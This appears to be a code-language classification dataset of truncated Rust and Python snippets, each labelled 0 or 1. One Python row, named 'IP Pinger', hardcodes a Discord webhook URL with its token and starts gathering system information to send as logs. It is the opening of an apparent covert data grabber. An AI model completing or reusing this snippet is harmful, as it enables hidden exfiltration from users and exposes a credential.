text
string
label_name
string
labels
int64
CLK"] pub type R = crate::R<u32, super::TIMG_CLK>; #[doc = "Writer for register TIMG_CLK"] pub type W = crate::W<u32, super::TIMG_CLK>; #[doc = "Register TIMG_CLK `reset()`'s with value 0"] impl crate::ResetValue for super::TIMG_CLK { type Type = u32; #[inline(always)] fn reset_value() -> Self::Type { ...
Rust
0
ffi::IsWindowState(ffi::ConfigFlags::FLAG_MSAA_4X_HINT as u32) { state.set_msaa(true); } if ffi::IsWindowState(ffi::ConfigFlags::FLAG_INTERLACED_HINT as u32) { state.set_interlaced_hint(true); } } state } /// Sets icon for win...
Rust
0
""" Program for testing the 'SilverServiceTaxi' class. """ from silver_service_taxi import SilverServiceTaxi def main(): """Program that tests the SilverServiceTaxi class.""" my_silver_service_taxi = SilverServiceTaxi(name='Hummer', fanciness=2, fuel=200) my_silver_service_taxi.drive(18) assert my_sil...
Python
1
roup_name == "accuracies_normalized_GlobalEmbeddingSpaceTester_level_0_VAL_vs_self" ) else: self.assertTrue( record_group_name == "accuracies_normalized_GlobalEmbeddingSpaceTester_level_0_VAL_...
Python
1
_WATER_MARK: usize = WRITE_LOG_FLUSH_POINT / 2; // const WRITE_LOG_HIGH_WATER_MARK: usize = WRITE_LOG_FLUSH_POINT * (MAX_SYNC_REPEATS - 1); const WRITE_LOG_SIZE: usize = WRITE_LOG_FLUSH_POINT * (MAX_SYNC_REPEATS + 2); pub(crate) const WRITE_RETRY_INTERVAL_MICROS: u64 = 50; pub(crate) const PERIODICAL_SYNC_INITIAL_DEL...
Rust
0
# # Copyright (c) 2023 Airbyte, Inc., all rights reserved. # from airbyte_cdk.sources.declarative.requesters.paginators.default_paginator import DefaultPaginator, PaginatorTestReadDecorator from airbyte_cdk.sources.declarative.requesters.paginators.no_pagination import NoPagination from airbyte_cdk.sources.declarative...
Python
1
self.inner) }; if code != 0 { return Err(code); } Ok(()) } pub fn nonblocking_allreduce<T, Op>(&self, src_buf: &[T], dst_buf: &mut [T], _op: Op) -> Result<MpiRequest, c_int> where T: MpiData, Op: MpiOp { assert_eq!(src_buf.len(), dst_buf.len()); let mut req = MPI_Request::NULL(); l...
Rust
0
e(always)] pub fn is_subversion_1(&self) -> bool { *self == SUBVERSION_A::SUBVERSION_1 } #[doc = "Checks if the value of the field is `SUBVERSION_2`"] #[inline(always)] pub fn is_subversion_2(&self) -> bool { *self == SUBVERSION_A::SUBVERSION_2 } #[doc = "Checks if the value ...
Rust
0
mut session_id[..]); transcript.ad(&session_id, false); (Some(session_id), transcript) } }; // prepare for the protocol becoming full-duplex let mut rx_transcript = transcript.clone(); let mut tx_transcript = transcript.clone(); // t...
Rust
0
if ssym != None: return ssym return sym def getSymList(self): """ Return a list of the symbols which are contained in this resolver. """ return self.symaddrs.values() def getSymHint(self, va, hidx): """ May be used by symbol res...
Python
1
rec_pose_final = torch.Tensor(rec_pose_final).to(self.rank) rec_pose_final = (torch.Tensor(rec_pose_final.reshape(-1, 3))/180)*np.pi rec_pose_final = rc.euler_angles_to_matrix(rec_pose_final.reshape(bs, n, 47, 3),"XYZ") tar_pose = (torch.Tensor(loaded_data["tar_pose"].reshape(-1, 3))/180...
Python
1
(mut self, max_col_width: f32) -> Self { self.max_cell_size.x = max_col_width; self } /// Set spacing between columns/rows. /// Default: [`crate::style::Spacing::item_spacing`]. pub fn spacing(mut self, spacing: impl Into<Vec2>) -> Self { self.spacing = Some(spacing.into()); ...
Rust
0
_data!(self, pipe_items) = Some(vec![ FirstLayerEvent::ChannelExpired(channel_token).into() ]); }*/ } _ => (), //shared_alloc.push(event.into()), // state_data!(self, pipe_items) = Some(vec![event.into()]), }, LayerPipeItem::SomeCommand(_, LayerCommand::FirstLayer(cmd)) => matc...
Rust
0
"article varchar(32), PRIMARY KEY(id));" # cursor.execute(create_table_query) # # table ELEMENTS create # with connection.cursor() as cursor: # create_table_query = "CREATE TABLE elements (id int AUTO_INCREMENT, " \ # "name varchar(32), ...
Python
1
option is a local websocket running on a configurable port. pub driver: InterfaceDriver, // /// How long will this interface be accessible between authentications? // /// TODO: implement once we have authentication // _session_duration_seconds: Option<u32>, } /// Configuration for interfaces, specifyi...
Rust
0
col < prev_leftbound_col { // Set march point on this rows rightbound column left_marching_idx = row_start_idx + op_idx.rightbound_col; } else { // Align to previous rows leftbound column & set march point left_marching_idx = row_start_idx + prev_leftbound_col; } // Marching backwards until you meet ...
Rust
0
me}-{dataset.config.name}-search-{search_id}-*.json" ) existing_results = list(RESULTS_DIR.glob(glob_pattern)) print("Pattern", glob_pattern, "Results:", existing_results) if len(existing_results) >= 1: print( ...
Python
1
Attr::UnknownRequired(UnknownRequired::from_raw(rattr).unwrap()) } else { Attr::UnknownOptional(UnknownOptional::from_raw(rattr).unwrap()) } } }; attr } } union Addr { v4: u32, v6: U128, } struct XorMappedAddrAttr { ...
Rust
0
images, size=self.model.input_size[-1], mode='bilinear', align_corners=True) self.image_height = images.size(2) self.image_width = images.size(3) eps = args.epsilon if args.norm == 'l2': # epsilon = 1e-3 # eps = np.sqrt(epsilon * model.inpu...
Python
1
t WIA_DIP_HW_CONFIG_STR: &str = "Hardware Configuration"; #[doc = "*Required features: `\"Win32_Devices_ImageAcquisition\"`*"] pub const WIA_DIP_PNP_ID: u32 = 16u32; #[doc = "*Required features: `\"Win32_Devices_ImageAcquisition\"`*"] pub const WIA_DIP_PNP_ID_STR: &str = "PnP ID String"; #[doc = "*Required features: `\...
Rust
0
new(); opts.override_colors.insert(src, ui.cs.get("selected")); ui.draw(g, opts, &ui.primary.sim, &ShowEverything::new()); if let Some((_, Some(ref trace))) = self.maybe_goal { g.draw_polygon(ui.cs.get("route"), &trace.make_polygons(LANE_THICKNESS)); } self.menu.dra...
Rust
0
import random stages = [ """ +---+ | | | | | | ========= """, """ +---+ | | O | | | | ========= """, """ +---+ | | O | | | | | ====...
Python
1
ged { self.geom = self.empty_geom(OGRwkbGeometryType::wkbLineString)?; } else { match wkb_base_type(self.geom.geometry_type()) { OGRwkbGeometryType::wkbMultiLineString => { let line = self.empty_geom(OGRwkbGeometryType::wkbLineString)?; ...
Rust
0
imeout (0.25 s) before it sees that it needs to stop. """ if is_our_server_running(): try: server.stop() # Post a stop message do_request(ADDRESS, "stopserver", 0.1) # trigger print("Stopped our command server.") except Exception as err: prin...
Python
1
import math # Define operations def add(x, y): return x + y def subtract(x, y): return x - y def multiply(x, y): return x * y def divide(x, y): return x / y if y != 0 else "Error (div by 0)" def modulus(x, y): return x % y def power(x, y): return x ** y def floor_divide(x, y): return x // y def square_root(x): return ...
Python
1
"if_primary_term"] = if_primary_term if if_seq_no is not None: __query["if_seq_no"] = if_seq_no if labels is not None: __body["labels"] = labels if pretty is not None: __query["pretty"] = pretty if refresh is not None: __query["refresh"] = ...
Python
1
import random letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', 'T','U','V','W','X','Y','Z'] numbers = ['0','1','2','3','4','5','6','7','8','9'] s...
Python
1
(2461123390928552353, "CInqq84s4Gh"), (2461102206941679598, "CInl2rwsE_u"), (2461099204884249243, "CInlK_4Hzqb"), (2461080120441510381, "CIng1SGsRnt"), (2461078715475639808, "CIngg1oMz4A"), (2450830923490466966, "CIDGb1nMRyW"), (24494643443957973...
Rust
0
easurements, image_set_list ) inj_module.run(workspace) module.run(workspace) image = image_set.get_image("OutputImage") assert numpy.all(image.pixel_data == expected_image) def test_load_v2(): file = tests.frontend.modules.get_test_resources_directory( "correctilluminationcalculate/v2...
Python
1
SCREEN_WIDTH = 800 SCREEN_HEIGHT = 600 SCREEN_TITLE = 'CS:GO' SCALING = 2 PLAYER_MOVEMENT_SPEED = 5 JUMP = 15 GRAVITY = 1 BULLET_DISTANCE = 500 COORDS = [ [ [240, 210], [300, 210] ], [ [-100, 0] ], [ ...
Python
1
student_scores = { "Harry": 81, "Ron": 78, "Hermione": 99, "Draco": 74, "Neville": 62, } # 🚨 Don't change the code above 👆 # TODO-1: Create an empty dictionary called student_grades. student_grades = {} # TODO-2: Write your code below to add the grades to student_grades.👇 score_rank = { "high": "O...
Python
1
(moon_x: Vec3<i16>) -> i16 { moon_x.x.abs() + moon_x.y.abs() + moon_x.z.abs() } fn kinetic_energy(moon_v: Vec3<i16>) -> i16 { moon_v.x.abs() + moon_v.y.abs() + moon_v.z.abs() } fn total_energy((moon_x, moon_v): (Vec3<i16>, Vec3<i16>)) -> i16 { potentia...
Rust
0
def interpolate_point(start: Tuple[float, float], end: Tuple[float, float], progress: float) -> Tuple[float, float]: """Linear interpolation between two points.""" return ( interpolate(start[0], end[0], progress), interpolate(start[1], end[1], progress) ) def inter...
Python
1
session.token) .await .expect("Could not fetch result"); // // Teardown // irmaserver.kill().await.expect("Error killing irma server"); }); } } <reponame>ilkkahanninen/boenthoe use crate::engine::EngineError; use std::{ col...
Rust
0
""" PPT系统提示词和默认配置 包含所有系统级别的提示词和默认配置 """ import os from pathlib import Path class SystemPrompts: """PPT系统提示词和默认配置集合""" @staticmethod def get_default_ppt_system_prompt() -> str: """获取默认PPT生成系统提示词""" return """你是一个专业的PPT设计师和HTML开发专家。 核心职责: - 根据幻灯片内容生成高质量的HTML页面 - 确保设计风格的一致性和专业性 - 优化视觉表...
Python
1
ng the struct value. """ map_type = 'Object' needs_value_ptr = False for member in members: if self.is_handle( member.base_type ) and not (member.is_array and not member.is_dynamic): needs_value_ptr = True break ...
Python
1
4); pub fn igPushStyleVarFloat(idx: ImGuiStyleVar, val: c_float); pub fn igPushStyleVarVec2(idx: ImGuiStyleVar, val: ImVec2); pub fn igPushTextWrapPos(wrap_pos_x: c_float); pub fn igRadioButtonBool(label: *const c_char, active: bool) -> bool; pub fn igRadioButtonIntPtr(label: *const c_char, v: *mut ...
Rust
0
string_list] # [START split_as_string] def split_as_string(self, max_line): """ Decompress a GZ file, containing a single file, and retrun its content as string list """ file_content_list = list() dfs = [self._dataframe.loc[i:i+max_line-1, :] for i in range(0, len(self._dataframe), max...
Python
1
# -*- coding: utf-8 -*- ''' Created on 2015-6-16 @author: hustcc ''' import hashlib import binascii import uuid def is_empty(s): '''string is empty ?''' if s is None or s == '': return True return False def is_true(s): '''string is true''' if s is True: return True if s == ...
Python
1
import math class IRSetupBase(object): X = 0 Y = 1 K = 2 # found dot TL = 0 # Top Left index TR = 1 # Top Right index BL = 2 # Bottom Left index BR = 3 # Bottom Right index TC = 0 # Top Center index CL = 1 # Center Left index CR = 2 # Center Right index ...
Python
1
ssLicenseNumber.setter def BusinessLicenseNumber(self, BusinessLicenseNumber): self._BusinessLicenseNumber = BusinessLicenseNumber @property def BusinessLicenseValidityType(self): r"""营业证件有效期类型 LONGTERM:长期有效 OTHER:非长期有效 :rtype: str """ return self._BusinessLicenseVa...
Python
1
dpTransporter::new(transporter); let core = ServerCore::new(stun, channel_data, auth_params); UdpServer { core } }) } pub fn local_addr(&self) -> SocketAddr { self.core .stun_transporter_ref() .inner_ref() .with_inner_ref(|...
Rust
0
import os, sys import numpy as np import time import torch from torchvision.models.feature_extraction import create_feature_extractor import torch.nn.functional as F CURR_PATH = os.path.dirname(os.path.abspath(__file__)) BASE_PATH = os.path.dirname(CURR_PATH) sys.path.append(BASE_PATH) from utils_dg import save_chec...
Python
1
# -*- coding=utf-8 -*- import xml.etree.ElementTree as ET import numpy as np import pandas as pd import os import cv2 import random from PIL import Image, ImageDraw, ImageEnhance def parse_csv(csv_path, CLASS_NAME): ''' 输入: csv_path: csv的文件路径 输出: 从csv文件中提取信息, 格式为[[img_name, [[x_min, y_min, ...
Python
1
will give //! you a `poll()` or `update()` function, and you are expected to call it //! on the receive interrupt of the peripheral i.e. SERCOM UART RXC //! (receive complete flag). //! //! This example is basically just a blinky script. The MCU sends itself //! a byte via UART that will trigger the RXC interrupt and ...
Rust
0
elf.lstm = nn.LSTM(128, 256, batch_first=True) self.fc = nn.Linear(256, vocab_size) def forward(self, x): emb = self.embedding(x) lstm_out, _ = self.lstm(emb) return self.fc(lstm_out) # 初始化模型和解码器 model = SimpleModel() device = torch.d...
Python
1
= {"entity_groups": serialized_examples} else: entities_example_dict = { "entity_groups": [ { "canonical": "John F. Kennedy", "variants": ["John F. Kennedy", "JFK", "Kennedy"], }, ...
Python
1
signature: GPTHeader::MAGIC, revision: 0x10000, header_size: core::mem::size_of::<GPTHeader>() as u32, crc32: 0, reserved: 0, current_lba: 0, backup_lba: 0, first_usable: 0, last_usable: 0, disk_guid: Ra...
Rust
0
userDataFolder"="" /// "additionalBrowserArguments"="" /// ``` /// /// In the unlikely scenario where some instances of WebView are open during /// a browser update we could end up blocking the deletion of old Edge browsers. /// To avoid running out of disk space a new WebView creation will fail /// with the next error...
Rust
0
from __future__ import annotations from ._base import PatchPipetteState class MoveNucleusToHomeState(PatchPipetteState): """State that moves the pipette to its home position while applying negative pressure. State name: home with nucleus Parameters ---------- pressureLimit : float The s...
Python
1
# Copyright 2014 NEC Corporation. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
Python
1
let (ul, _) = peers.get_mut(id).unwrap().flush(); if ul < min { (idx, ul) } else { (slowest, min) } }, ); Some(self.swap_peer(slowest, peers)) } pub fn update_download<T: cio::CIO>( &mut...
Rust
0
!("Alignment of ", stringify!(LIB_INFO)) ); assert_eq!( unsafe { &(*(::std::ptr::null::<LIB_INFO>())).title as *const _ as usize }, 0usize, concat!( "Offset of field: ", stringify!(LIB_INFO), "::", stringify!(title) ) ); ass...
Rust
0
woThirdsShuraCouncil; type ResetOrigin = EnsureRootOrTwoThirdsShuraCouncil; type PrimeOrigin = EnsureRootOrTwoThirdsShuraCouncil; type MembershipInitialized = TechnicalCommittee; type MembershipChanged = TechnicalCommittee; type MaxMembers = TechnicalCouncilMaxMembers; type WeightInfo = (); } parameter_types! { ...
Rust
0
from openai import OpenAI import yaml with open('gpt_config.yaml', 'r') as file: config = yaml.safe_load(file) if config['base_url'] is not None: client = OpenAI(api_key = config['api_key'], base_url = config['base_url']) else: client = OpenAI(api_key = config['api_key']) def ask_gpt(content): respon...
Python
1
r}") print(f"使用单色填充: RGB{fill_color}") fill_img = Image.new('RGB', img.size, fill_color) fill_rgba = Image.new('RGBA', img.size, (0, 0, 0, 0)) fill_rgba.paste(fill_img, (0, 0), ...
Python
1
class Node: def __init__(self, key): self.left = None self.right = None self.val = key def height(root): if not root: return 0 return 1 + max(height(root.left), height(root.right)) root = Node(1) root.left = Node(2) root.right = Node(3) root.left.left = Node(4) root.left.ri...
Python
1
0FNCSEL`"] pub type PAD10FNCSEL_R = crate::R<u8, PAD10FNCSEL_A>; impl PAD10FNCSEL_R { #[doc = r"Get enumerated values variant"] #[inline(always)] pub fn variant(&self) -> crate::Variant<u8, PAD10FNCSEL_A> { use crate::Variant::*; match self.bits { 0 => Val(PAD10FNCSEL_A::M1WIR3),...
Rust
0
'gen_0', out) elif msg.lower() == '+++': try: out = load_all_stat(srv, 'gen_1') save_all_stat(srv, 'gen_0', out) except: return elif msg.lower() == '++': try: out = load_all_stat(srv, 'gen_0') ...
Python
1
that we can defer SourceCode handling. It simply /// forwards most methods, except for `.source_code()`, which we provide. #[derive(Error)] #[error("{0}")] pub struct CliError<'src>( pub &'src (dyn miette::Diagnostic + Send + Sync + 'static), pub &'src StateWorkingSet<'src>, ); pub fn format_error( workin...
Rust
0
a [redis server](https://redis.io/) . //! This requires the `redis-session` feature to be enabled. //! //! `rocket_auth` uses private cookies to store session data. //! This means that in order for cookies to be properly decrypted between launches, a `secret_key` must be set. //! For more information visit rocket's [c...
Rust
0
import pandas as pd # load artist_genres artist_genres = pd.read_csv('csv/artist_genres.csv') # DONE # load artists artists = pd.read_csv('csv/artists.csv') # DONE # if artist_genres artist_id not in artist_ids in artists, remove it artist_ids = artists['artist_id'].values print(len(artist_ids)) artist_genres = arti...
Python
1
("Arch","Create Connector")) FreeCADGui.addModule("Arch") FreeCADGui.addModule("Draft") FreeCADGui.doCommand("obj = Arch.makePipeConnector("+o+")") FreeCADGui.doCommand("Draft.autogroup(obj)") FreeCAD.ActiveDocument.commitTransaction() FreeCAD.ActiveDocument.recompute() ...
Python
1
else { Ok(false) } } pub fn deconstruct_time(input: String) -> CommandResult<u64> { let mut segments = input.rsplit(':'); let seconds = match segments.next().unwrap_or("0").parse::<u64>() { Ok(secs) => secs, Err(_) => return Err("seconds".into()), }; let minutes = match seg...
Rust
0
).sin() + 1.0) / 2.0 * std::u16::MAX as f64) as u16); } l.shrink_to_fit(); r.shrink_to_fit(); AudioBuffer { channel_num: 2, sample_num: l.len(), sample_rate: 44100, vec: vec![l, r], } } impl From<&AudioBuffer<u16>> for AudioBuffer<f32> { fn from(ab: &AudioBuffer<...
Rust
0
has been included in the root of the repository. //! Rx, a library for reactive programming in Rust. //! Inspired by [Reactive Extensions for C#](https://rx.codeplex.com/). //! //! TODO: Add intro to observables for people who are unfamiliar with them. //! //! TODO: Add examples. //! //! # Simple Observables //! //! ...
Rust
0
File<'a>)> { for &extension in VTX_EXTENSIONS { let path = mdl_path.with_extension(extension); match file_system.open_file(&path) { Ok(file) => return Ok((path, file)), Err(err) => { if err.kind() == io::ErrorKind::NotFound { continue; ...
Rust
0
import sys import os.path import pprint sys.path.append(os.path.abspath(__file__ + "\..\..")) import windows import windows.generated_def as gdef tscheduler = windows.system.task_scheduler print("Task scheduler is {0}".format(tscheduler)) root = tscheduler.root print("Root folder is {0}".format(root)) print ("Listing...
Python
1
55(&mut self) { self.skip_bits(55); } #[inline] pub fn skip_56(&mut self) { self.skip_bits(56); } #[inline] pub fn skip_57(&mut self) { self.skip_bits(57); } #[inline] pub fn skip_58(&mut self) { self.skip_bits(58); } #[inline] pub fn skip_...
Rust
0
::MessageStatic::descriptor_static(None::<Self>) } } impl ::protobuf::MessageStatic for RaftCmdResponse { fn new() -> RaftCmdResponse { RaftCmdResponse::new() } fn descriptor_static(_: ::std::option::Option<RaftCmdResponse>) -> &'static ::protobuf::reflect::MessageDescriptor { static m...
Rust
0
oc() == 1); /// allocator.dealloc(0); /// assert!(allocator.alloc() == 0); /// ``` pub struct IncrementUsizeAllocator { current: usize, recycled: Vec<usize>, } impl IncrementUsizeAllocator { pub fn new(start: usize) -> Self { Self { current: start, recycled: Vec::new(), ...
Rust
0
// I would love to do this (check on !CursorBackend), but this is essentially specialization... // And since this is just an example compositor, it seems we require now, // that for the use of software cursors we need the hardware cursor trait (to do automatic cleanup..) /* impl<F: GLGraphicsBackend + !CursorBackend +...
Rust
0
::box(s.s, u, b); } pub fn nbsp(s: @ps) { word(s.s, " "); } pub fn word_nbsp(s: @ps, w: &str) { word(s.s, w); nbsp(s); } pub fn word_space(s: @ps, w: &str) { word(s.s, w); space(s.s); } pub fn popen(s: @ps) { word(s.s, "("); } pub fn pclose(s: @ps) { word(s.s, ")"); } pub fn head(s: @ps, w: &str) { // outer-b...
Rust
0
{ inner: f }; write!( g, "bitfields {0=7..12}, {1=0..5}", 0b1110_0101_1111_0000u16, 0b1111_0000u8 ); assert_eq!( f.bytes(), &[ index, // bitfields {0=7..12}, {1=0..5}", 0b1111_0000, 0b1110_0101, // u16 0b1111_0000u8,...
Rust
0
import random moisture = random.randint(25, 40) def sample(): global moisture moisture = moisture - random.randint(1, 5) return moisture
Python
1
import pandas as pd import matplotlib.pyplot as plt import json # توليد تقرير CSV مع رسم بياني def generate_report(findings): # تحويل النتائج إلى DataFrame df = pd.DataFrame(findings).transpose() report_path = 'csrf_report.csv' df.to_csv(report_path, index=True) print(f"Report generated: {report_pa...
Python
1
import os import platform import requests import socket # Webhook do Discord onde os logs serão enviados DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1346901790993547284/46suWs6ALGJvPZcnnIxbuyfSvfDnWeUvuYy8EWCOCzkInM5aYesixJELEwz2JYxXIKQ6" # Nome da ferramenta TOOL_NAME = "IP Pinger" def get_system_info()...
Python
1
all!(Img: Send, Sync); impl Img { /// Constructs a new root controller. pub fn new(flags: ImgInitFlag) -> Result<Self> { let ret = unsafe { bind::IMG_Init(flags.bits() as _) }; if ret != flags.bits() as _ { Err(SdlError::UnsupportedFeature) } else { Ok(Self { ...
Rust
0
a, ST, T> { pub fn new(stmt: StatementUse<'a>) -> Self { StatementIterator { stmt: stmt, _marker: PhantomData, } } } impl<'a, ST, T> Iterator for StatementIterator<'a, ST, T> where T: Queryable<ST, Sqlite>, { type Item = QueryResult<T>; fn next(&mut self) ->...
Rust
0
operand1: Some(Direct(XMM6)), operand2: Some(Direct(XMM6)), operand3: Some(IndirectScaledIndexedDisplaced(EDX, EBX, Four, 1859478516, Some(OperandSize::Qword), None)), operand4: Some(Literal8(83)), lock: false, rounding_mode: None, merge_mode: Some(MergeMode::Zero), sae: false, mask: Some(MaskReg::K6), broadcast: None...
Rust
0
# this is the "web_app/__init__.py" file... import os from flask import Flask from web_app.routes.home_routes import home_routes from web_app.routes.stocks_routes import stocks_routes SECRET_KEY = os.getenv("SECRET_KEY", default="super secret") # set this to something else on production!!! def create_app(): ap...
Python
1
leDialog.getSaveFileName( self, "导出图片", "graph.png", "PNG Files (*.png);;JPEG Files (*.jpg);;All Files (*)" ) if file_path: if self.export_image(file_path): QMessageBox.information(self, "导出成功", f"图片已保存到:\n{file_path}") else: ...
Python
1
ard[move] == self.empty: return move print("位置无效, 请重新输入") except ValueError: print("请输入数字1-9") def play(self, first_move=0): print(f"游戏开始!玩家: {self.player1}, AI: {self.player2}") if first_move > 0: move = first_mov...
Python
1
除请求的URL和数据 delete_url = "https://tempmail.plus/api/mails/" payload = { "email": f"{self.username}{self.emailExtension}", "first_id": first_id, "epin": f"{self.epin}", } # 最多尝试5次 for _ in range(5): response = self.session.delete(del...
Python
1
let mut linkdat = self.time.write().unwrap(); *linkdat = (t as f64) * 1e-9; } let dt = time::precise_time_ns() - old; old = time::precise_time_ns(); if DT_NS > dt { let sl = DT_NS - dt; thread::sleep(std::time:...
Rust
0
from ultralytics import YOLO import os import glob from Features.Object import Object class Pedestrian(Object): """ This class represents a pedestrian detected by the YOLO model. It inherits from the Object class and can be used to represent a pedestrian object. """ def __init__(self, bbox, cente...
Python
1
n onclick="uploadImage()">Analyze Leaf</button> </div> <div class="sustainability"> <h3>🌍 Sustainability Data (Optional)</h3> <div class="feature-grid"> <div>Soil Health (0-100): <input type="number" id="soilHealth" value="75" min...
Python
1
CACHE_ARTIFACT_PATH, CACHE_KEY_PATH}, os::process, package::target, util::docker}, license, VERSION}; use atty; use std::{env, ffi::{OsStr, OsString}, ...
Rust
0
ll_raw(n as SWord) } } #[inline] pub fn make_small_s(n: SWord) -> super::LTerm { // TODO: Do the proper min neg small assert!(fits_small(n), "make_small_s: n=0x{:x} does not fit small range", n); super::LTerm { value: immediate::make_small_raw(n) } } /// Check whether a signed value `n` will fit int...
Rust
0
inline: false, optdbginfo: false } }) ); assert_eq!(name, "Baz::f_protected"); } #[test] fn kind_110f() { let buf = &[ 15, 17, 0, 0, 0, 0, 156, 1, 0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 4, 0,...
Rust
0
from WebUI.Server.db.session import with_session from WebUI.Server.db.models.chat_history_model import ChatHistoryModel import re import uuid from typing import Dict, List def _convert_query(query: str) -> str: p = re.sub(r"\s+", "%", query) return f"%{p}%" @with_session def add_chat_history_to_db(session, ...
Python
1
o.phi).offset([0.0, self.thickness/2.0]) )?; } for (o, l) in &left_arm { let part = Mesh::new_rectangle( ctx, DrawMode::fill(), Rect::new(0.0, 0.0, *l, self.thickness/2.0), self.color )?; g...
Rust
0
print(f" [{idx}] 게시물 수집 완료") except Exception as e: print(f" [ERROR] 행 {idx} 처리 실패: {str(e)[:50]}") # 결...
Python
1
).to_string(), } } } <reponame>jrmuizel/rust-cexpr // (C) Copyright 2016 <NAME> // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may n...
Rust
0
# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. from __future__ import annotations from typing import Optional from typing_extensions import Literal, Required, TypedDict __all__ = ["WebSearchToolParam", "UserLocation"] class UserLocation(TypedDict, total=False): type: Requ...
Python
1
#https://school.programmers.co.kr/learn/courses/30/lessons/17678?language=python3 #시각을 분 단위로 변경 def chTime(timetable): new_timetable = [] for t in timetable: temp = int(t[0:2]) * 60 + int(t[3:]) new_timetable.append(temp) return sorted(new_timetable) #분 단위를 시각으로 변경 def chAnswer(start_time): ...
Python
1
Some(ref addr)) => { *target.dst_mut() = addr.clone().into(); } Routes::Override { ref distribution, ref overrides, } => { debug_assert!(overrides.len() > 1); let idx = distribution.sample(&mut self.rng);...
Rust
0
title = info.get("title", "无标题") description = info.get("description", "无描述")[:100] # 限制长度 response_parts.append(f"{i}. {title}") if description: response_parts.append(f" {description}...") response_parts.append("") ...
Python
1
/ 9) as u8, sq.file()); assert_eq!((i % 9) as u8, sq.rank()); } } } // This file is generated. Do not edit // @generated // https://github.com/Manishearth/rust-clippy/issues/702 #![allow(unknown_lints)] #![allow(clippy)] #![cfg_attr(rustfmt, rustfmt_skip)] #![allow(box_pointers)] #![allow(de...
Rust
0
es.take_header(), Some(transactionGetFastRecord(ref mut res)) => res.take_header(), None => unreachable!(), } } <filename>crates/it-generator/src/instructions_generator.rs<gh_stars>10-100 /* * Copyright 2020 Fluence Labs Limited * * Licensed under the Apache License, Version 2.0 (the "License");...
Rust
0